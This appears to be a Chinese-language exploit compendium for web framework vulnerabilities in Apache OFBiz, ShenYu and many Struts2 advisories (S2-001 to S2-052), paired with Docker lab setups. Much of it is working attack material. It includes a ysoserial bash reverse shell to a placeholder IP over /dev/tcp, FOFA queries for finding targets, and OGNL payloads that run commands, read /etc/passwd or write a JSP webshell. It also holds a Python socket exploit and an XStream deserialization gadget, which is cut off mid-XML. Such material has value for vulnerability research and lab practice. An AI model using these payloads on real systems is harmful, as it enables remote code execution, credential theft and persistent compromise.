Web框架漏洞


IP签名

Web框架

Apache-OFBiz

Apache OFBiz RMI反序列化漏洞 CVE-2021-26295

漏洞描述

OFBiz是基于Java的Web框架,包括实体引擎,服务引擎和基于小部件的UI。

近日,Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行,未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz,建议相关用户尽快测试漏洞修复的版本并及时升级。

漏洞影响

Apache OFBiz < 17.12.06

网络测绘

app="Apache_OFBiz"

漏洞复现

利用 ysoserial生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.xxx.xxx.xxx > payload.txt
#!/usr/bin/python
#conding=utf8
import binascii
with open('payload.txt', 'rb') as payload_handle:
   content = payload_handle.read()
str_hex = binascii.hexlify(content)
print(str_hex)

发送请求包后查看Dnslog验证漏洞

POST /webtools/control/SOAPService 

<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><test:clearAllEntityCaches xmlns:test="http://ofbiz.apache.org/service/"><test:cus-obj>dnslog反序列化数据</test:cus-obj></test:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>

反弹Shell可以使用ROME反序列化链

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME  "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'

bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'   base64加密写入然后执行命令

image-20240812180249425

Apache-ShenYu

CVE-2021-37580

Apache ShenYu dashboardUser 账号密码泄漏漏洞

漏洞描述

Apache ShenYu Admin爆出身份验证绕过漏洞,攻击者可通过该漏洞绕过JSON Web Token (JWT)安全认证,直接进入系统后台。 Apache ShenYu 是应用于所有微服务场景的,可扩展、高性能、响应式的 API 网关解决方案。

漏洞影响

Apache ShenYu 2.3.0

Apache ShenYu 2.4.0

网络测绘

FOFA: title=="ShenYu Gateway"

漏洞复现

登录页面

img

验证POC

/dashboardUser

image-20240812180649613

Apache-Struts2

s2-001

S2-001 远程代码执行漏洞

原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

环境

执行以下命令启动s2-001测试环境

docker compose build
docker compose up -d

POC && EXP

获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-005

S2-005 远程代码执行漏洞

影响版本: 2.0.0 - 2.1.8.1
漏洞详情: http://struts.apache.org/docs/s2-005.html

原理

参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

环境

执行以下命令启动s2-001测试环境

docker compose build
docker compose up -d

POC && EXP

执行任意命令POC(无回显,空格用@代替)

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36

网上一些POC放到tomcat8下会返回400,研究了一下发现字符\"不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。

POC用到了OGNL的Expression Evaluation:

大概可以理解为,(aaa)(bbb)中aaa作为OGNL表达式字符串,bbb作为该表达式的root对象,所以一般aaa位置如果需要执行代码,需要用引号包裹起来,而bbb位置可以直接放置Java语句。(aaa)(bbb)=true实际上就是aaa=true。不过确切怎么理解,还需要深入研究,有待优化。

期待大佬研究出有回显的POC。

执行任意命令POC(有回显,将需要执行的命令进行urlencode编码)

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: target:8080
Content-Length: 626
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20240805150533290

s2-007

S2-007 远程代码执行漏洞

影响版本: 2.0.0 - 2.2.3
漏洞详情: http://struts.apache.org/docs/s2-007.html

测试环境搭建

docker compose build
docker compose up -d

原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload(弹计算器,无法在本项目环境下运行):

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

Exploit

@rickgray 在原文中只给了弹计算器的POC,我给出执行任意代码的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将Exp传入可以利用的输入框(age),得到命令执行结果:

image-20240805150601098

s2-008

S2-008 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.1

漏洞详情: http://struts.apache.org/docs/s2-008.html

测试环境搭建

docker compose build
docker compose up -d

原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

s2-009

S2-009 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.1.1

漏洞详情: http://struts.apache.org/docs/s2-009.html

测试环境搭建

docker compose build
docker compose up -d

原理

前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

Exploit构造

测试环境是一个struts2的“功能展示”网站Struts Showcase,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。

先对S2-009.war进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。

找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

public class Example5Action extends ActionSupport {

    private static final long serialVersionUID = 2111967621952300611L;

    private String name;
    private Integer age;


    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public Integer getAge() { return age; }
    public void setAge(Integer age) { this.age = age; }

    @Override
    public String execute() throws Exception {
        return SUCCESS;
    }
}

代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性this.name,正是符合我们的要求。然后去WEB-INF/src/java/struts-ajax.xml看一下URL路由:

<package name="ajax" extends="struts-default">
    ...
    <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
        <result name="input">/ajax/tabbedpanel/example5.jsp</result>
        <result>/ajax/tabbedpanel/example5Ok.jsp</result>
    </action>
    ...
</package>

name=example5,所以访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:

GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

由于该POC没有回显,所以调用的是touch /tmp/success命令,查看/tmp目录发现已经成功:

黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。

s2-012

S2-012 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.13

漏洞详情: http://struts.apache.org/docs/s2-012.html

测试环境搭建

docker compose build
docker compose up -d

原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

Exp

可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符(为什么?)。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

发送请求,执行命令:

image-20240805150730646

s2-013

S2-013/S2-014 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.1

漏洞详情:

测试环境搭建

docker compose build
docker compose up -d

原理与测试

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

任意命令执行POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

S2-015 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.2

漏洞详情:

测试环境搭建

docker compose build
docker compose up -d

原理与测试

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder(‘calc’)).start() 来解决,另外还可以借助 Java 反射机制去间接修改:

#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

可以构造 Payload 如下:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

直接回显:

除了上面所说到的这种情况以外,S2-015 还涉及一种二次引用执行的情况:

<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>
    </result>
</action>

这里配置了 <param name="errorMessage">${message}</param>,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type=”httpheader” 这种返回方式。

image-20240805150820866

s2-016

S2-016 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.15

漏洞详情:

测试环境搭建

docker compose build
docker compose up -d

漏洞复现

在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。

执行命令:

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取web目录:

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入webshell:

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

执行结果:

image-20240805150850016

s2-032

S2-032 远程代码执行漏洞(CVE-2016-3081)

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞详情:

漏洞环境

执行如下命令启动struts2 2.3.28:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到默认页面。

漏洞复现

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

直接请求如下URL,即可执行id命令:

http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

image-20240805150921045

s2-045

S2-045 远程代码执行漏洞(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

漏洞环境

执行如下命令启动struts2 2.3.30:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到上传页面。

漏洞复现

直接发送如下数据包,可见233*233已成功执行:

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

image-20240805150945090

s2-046

S2-046 远程代码执行漏洞(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

漏洞环境

执行如下命令启动struts2 2.3.30:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到上传页面。

漏洞复现

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断。

由于需要发送畸形数据包,我们简单使用原生socket编写payload:

import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

233*233已成功执行:

image-20240805151014325

s2-048

S2-048 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.32

漏洞详情:

测试环境搭建

docker compose up -d

漏洞复现

原理详见参考文档,这里只说一下当前环境。

这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8080/showcase/即可查看到struts2的测试页面。

访问Integration/Struts 1 Integration:

触发OGNL表达式的位置是Gangster Name这个表单。

输入${233*233}即可查看执行结果(剩下两个表单随意填写):

借用S2-045的沙盒绕过方法,我改了一个POC。将如下POC填入表单Gengster Name中,提交即可直接回显命令执行的结果:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

当然,你也可以直接用s2-045的POC(你需要在Burp下进行测试):

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

s2-052

S2-052 远程代码执行漏洞

影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞详情:

测试环境搭建

docker compose up -d

漏洞说明

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

漏洞复现

启动环境后,访问http://your-ip:8080/orders.xhtml即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

所以,最后发送的数据包为:

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
